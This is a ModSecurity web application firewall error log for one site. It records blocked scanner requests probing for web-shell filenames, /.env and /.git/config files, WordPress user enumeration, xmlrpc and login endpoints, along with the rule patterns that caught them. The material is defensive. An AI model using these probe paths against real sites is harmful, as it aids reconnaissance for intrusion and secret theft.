[Mon Apr 06 20:09:07.378482 2026] [:error] [pid 35686:tid 35696] [client 51.103.130.249:61794] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cabs.php"] [unique_id "adOiY8MKdea6oORd2fzVDwAAAAA"]
[Mon Apr 06 20:09:08.082009 2026] [:error] [pid 10280:tid 10294] [client 51.103.130.249:65265] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cabs.php"] [unique_id "adOiZF8QUJkf8g-BFfP26AAAAcs"]
[Mon Apr 06 20:09:09.047067 2026] [:error] [pid 38562:tid 38565] [client 51.103.130.249:65258] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cabs.php"] [unique_id "adOiZaeD6Ohe6wzRuy6FswAAAUA"]
[Mon Apr 06 20:09:10.051102 2026] [:error] [pid 1827:tid 1834] [client 51.103.130.249:63909] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cabs.php"] [unique_id "adOiZuVeb6S_DnjZ2xEQEAAAAgU"]
[Mon Apr 06 20:09:10.921630 2026] [:error] [pid 35686:tid 35709] [client 51.103.130.249:65312] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xwx1.php"] [unique_id "adOiZsMKdea6oORd2fzVFAAAAA0"]
[Mon Apr 06 20:09:11.553945 2026] [:error] [pid 35686:tid 35698] [client 51.103.130.249:64344] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xwx1.php"] [unique_id "adOiZ8MKdea6oORd2fzVGAAAAAI"]
[Mon Apr 06 20:09:12.390324 2026] [:error] [pid 9413:tid 9436] [client 51.103.130.249:63809] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xwx1.php"] [unique_id "adOiaHllvEK3chn01wHCiQAAAZU"]
[Mon Apr 06 20:09:13.017856 2026] [:error] [pid 10280:tid 10285] [client 51.103.130.249:64360] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xwx1.php"] [unique_id "adOiaV8QUJkf8g-BFfP2-QAAAcI"]
[Mon Apr 06 20:09:13.552226 2026] [:error] [pid 35688:tid 35766] [client 51.103.130.249:65271] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/x1da.php"] [unique_id "adOiaeZ85qg4jLsRpQyqugAAAJA"]
[Mon Apr 06 20:09:14.356301 2026] [:error] [pid 35686:tid 35707] [client 51.103.130.249:65219] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/x1da.php"] [unique_id "adOiasMKdea6oORd2fzVHgAAAAs"]
[Mon Apr 06 20:09:15.020277 2026] [:error] [pid 9442:tid 9449] [client 51.103.130.249:61824] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/x1da.php"] [unique_id "adOia0PsNnAJTnmz6sbOQAAAAQU"]
[Mon Apr 06 20:09:15.659149 2026] [:error] [pid 9442:tid 9462] [client 51.103.130.249:63839] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/x1da.php"] [unique_id "adOia0PsNnAJTnmz6sbOQQAAARI"]
[Mon Apr 06 20:09:16.440685 2026] [:error] [pid 9442:tid 9446] [client 51.103.130.249:63839] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/jp.php"] [unique_id "adOibEPsNnAJTnmz6sbOQwAAAQI"]
[Mon Apr 06 20:09:17.197080 2026] [:error] [pid 9442:tid 9454] [client 51.103.130.249:61838] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/jp.php"] [unique_id "adOibUPsNnAJTnmz6sbORAAAAQo"]
[Mon Apr 06 20:09:17.729315 2026] [:error] [pid 35687:tid 35737] [client 51.103.130.249:63923] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/jp.php"] [unique_id "adOibZ3LtDozV0i8BitnxgAAAE4"]
[Mon Apr 06 20:09:18.409913 2026] [:error] [pid 9442:tid 9467] [client 51.103.130.249:63143] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/jp.php"] [unique_id "adOibkPsNnAJTnmz6sbOSQAAARc"]
[Mon Apr 06 20:09:19.005867 2026] [:error] [pid 9442:tid 9460] [client 51.103.130.249:65274] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/chosen.php"] [unique_id "adOib0PsNnAJTnmz6sbOUAAAARA"]
[Mon Apr 06 20:09:19.605161 2026] [:error] [pid 35688:tid 35757] [client 51.103.130.249:63067] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/chosen.php"] [unique_id "adOib-Z85qg4jLsRpQyqxgAAAIc"]
[Mon Apr 06 20:09:20.122349 2026] [:error] [pid 9442:tid 9464] [client 51.103.130.249:63844] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/chosen.php"] [unique_id "adOicEPsNnAJTnmz6sbOWAAAARQ"]
[Mon Apr 06 20:09:20.709832 2026] [:error] [pid 9442:tid 9465] [client 51.103.130.249:63156] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/chosen.php"] [unique_id "adOicEPsNnAJTnmz6sbOWwAAARU"]
[Mon Apr 06 23:06:51.891838 2026] [:error] [pid 9442:tid 9450] [client 100.25.3.232:46356] [client 100.25.3.232] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:^(?:microsoft url|user-Agent|www\\\\.weblogs\\\\.com|(?:jakart|vi)a|(google|i{0,1}explorer{0,1}\\\\.exe|(ms){0,1}ie( [0-9.]{1,}){0,1} {0,1}(compatible( browser){0,1}){0,1})$)|\\\\bdatacha0s\\\\b|; widows|\\\\\\\\r|a(?: href=|d(?:sarobot|vanced email extractor ..." at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/03_Global_Agents.conf"] [line "29"] [id "210831"] [rev "2"] [msg "COMODO WAF: Rogue web site crawler||rcacivilgroup.com|F|4"] [data "Web Downloader"] [severity "WARNING"] [tag "CWAF"] [tag "Agents"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "adPMC0PsNnAJTnmz6sZRgAAAAQY"]
[Tue Apr 07 00:46:42.758492 2026] [:error] [pid 39328:tid 39350] [client 64.176.65.175:51113] [client 64.176.65.175] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env"] [unique_id "adPjcjhTc4A7DPq5yJhKhwAAABI"]
[Tue Apr 07 02:27:17.583303 2026] [:error] [pid 39328:tid 39344] [client 104.236.213.196:38720] [client 104.236.213.196] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.git/config"] [unique_id "adP7BThTc4A7DPq5yJh3UAAAAAw"]
[Tue Apr 07 02:27:20.034291 2026] [:error] [pid 55003:tid 55021] [client 104.236.213.196:44632] [client 104.236.213.196] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.git/config"] [unique_id "adP7CAiMyAbcUkWpJeAYAwAAAQ4"]
[Tue Apr 07 03:54:03.864173 2026] [:error] [pid 7031:tid 7107] [client 104.236.213.196:34090] [client 104.236.213.196] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.git/config"] [unique_id "adQPW8qZCoDSg1xK-p8dpQAAAI8"]
[Tue Apr 07 03:54:06.043341 2026] [:error] [pid 7030:tid 7066] [client 104.236.213.196:33812] [client 104.236.213.196] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.git/config"] [unique_id "adQPXgS7qJbSh7nh1EHSpQAAAEE"]
[Tue Apr 07 05:08:51.864966 2026] [:error] [pid 37598:tid 37681] [client 36.41.75.167:44978] [client 36.41.75.167] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "adQg4-9g7q_cV2WhPaxoCQAAAJQ"]
[Tue Apr 07 05:27:23.752795 2026] [:error] [pid 37719:tid 37732] [client 43.159.144.16:51508] [client 43.159.144.16] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "adQlO009Xv52u2xXGLAWwwAAAMo"]
[Tue Apr 07 05:58:07.044755 2026] [:error] [pid 37598:tid 37680] [client 43.130.47.33:56392] [client 43.130.47.33] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "adQsb-9g7q_cV2WhPax8tQAAAJM"]
[Tue Apr 07 10:37:59.642152 2026] [:error] [pid 12948:tid 12974] [client 43.166.244.251:52812] [client 43.166.244.251] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "adRuB8beSPAN8LvMqsYlHQAAARc"]
[Tue Apr 07 10:57:18.445534 2026] [:error] [pid 37719:tid 37740] [client 217.216.72.68:57547] [client 217.216.72.68] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/"] [unique_id "adRyjk09Xv52u2xXGLDwCQAAANI"]
[Tue Apr 07 10:57:18.557617 2026] [:error] [pid 59490:tid 59516] [client 217.216.72.68:57971] [client 217.216.72.68] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/"] [unique_id "adRyjkcw8OFbiUZ7Rx0SMAAAAVg"]
[Tue Apr 07 10:57:32.224573 2026] [:error] [pid 37596:tid 37623] [client 217.216.72.68:54617] [client 217.216.72.68] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adRynKpaAOZHEjRWjP1XegAAABE"]
[Tue Apr 07 11:01:39.324033 2026] [:error] [pid 12948:tid 12961] [client 125.75.66.97:57108] [client 125.75.66.97] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "adRzk8beSPAN8LvMqsY5IgAAAQo"]
[Tue Apr 07 15:52:16.482120 2026] [:error] [pid 37597:tid 37655] [client 43.153.123.4:41362] [client 43.153.123.4] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "adS3sA6uAY0QAy-8EEKXyAAAAFU"]
[Tue Apr 07 16:39:17.979923 2026] [:error] [pid 37597:tid 37635] [client 45.87.213.230:40507] [client 45.87.213.230] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.87.213.230, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adTCtQ6uAY0QAy-8EEK76QAAAEE"]
[Tue Apr 07 16:42:28.932580 2026] [:error] [pid 37596:tid 37626] [client 45.87.213.230:14885] [client 45.87.213.230] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "adTDdKpaAOZHEjRWjP18uwAAABQ"]
[Tue Apr 07 16:44:03.485020 2026] [:error] [pid 59551:tid 59576] [client 45.87.213.230:37520] [client 45.87.213.230] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.87.213.230, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adTD017LN7Ubyqs-sVuj9AAAAZc"]
[Tue Apr 07 18:27:12.872255 2026] [:error] [pid 37598:tid 37666] [client 137.220.224.39:43347] [client 137.220.224.39] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "adTcAO9g7q_cV2WhPayUjwAAAIU"], referer: https://www.reddit.com/
[Tue Apr 07 18:27:23.181667 2026] [:error] [pid 37597:tid 37658] [client 137.220.224.53:31261] [client 137.220.224.53] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/"] [unique_id "adTcCw6uAY0QAy-8EEITjAAAAFg"], referer: https://search.yahoo.com/
[Tue Apr 07 20:00:15.748599 2026] [:error] [pid 59660:tid 59671] [client 170.106.148.137:60386] [client 170.106.148.137] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "adTxzzp3-oiX2o5bTswPywAAAck"]
[Tue Apr 07 20:13:00.751538 2026] [:error] [pid 37719:tid 37740] [client 161.97.146.93:56353] [client 161.97.146.93] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 161.97.146.93, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "adT0zE09Xv52u2xXGLAUaQAAANI"]
[Tue Apr 07 20:26:11.202792 2026] [:error] [pid 37719:tid 37742] [client 43.157.38.131:34238] [client 43.157.38.131] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "adT34009Xv52u2xXGLAaAQAAANQ"]
[Tue Apr 07 23:34:25.684793 2026] [:error] [pid 37597:tid 37649] [client 182.44.10.67:57088] [client 182.44.10.67] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "adUkAQ6uAY0QAy-8EELcIwAAAE8"]
[Wed Apr 08 00:29:47.723304 2026] [:error] [pid 37597:tid 37642] [client 43.157.95.239:45648] [client 43.157.95.239] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "adUw-w6uAY0QAy-8EELy9AAAAEg"]
[Wed Apr 08 01:04:05.440916 2026] [:error] [pid 4840:tid 5180] [client 170.106.148.137:45242] [client 170.106.148.137] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "adU5BRsUwg2fEe9p9LSxdgAAABQ"]
[Wed Apr 08 04:08:35.781154 2026] [:error] [pid 47627:tid 47718] [client 159.65.188.29:57854] [client 159.65.188.29] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.git/config"] [unique_id "adVkQ3Oljf1Quv_kDjlkQAAAAJM"]
[Wed Apr 08 05:16:03.541597 2026] [:error] [pid 47626:tid 47684] [client 104.28.163.34:41774] [client 104.28.163.34] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "adV0E6jWI8TWtHx2sdb4VQAAAFA"]
[Wed Apr 08 05:53:01.881173 2026] [:error] [pid 47732:tid 47755] [client 43.130.105.21:48516] [client 43.130.105.21] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "adV8vYm4N5QW9Mh7G11G2QAAANU"]
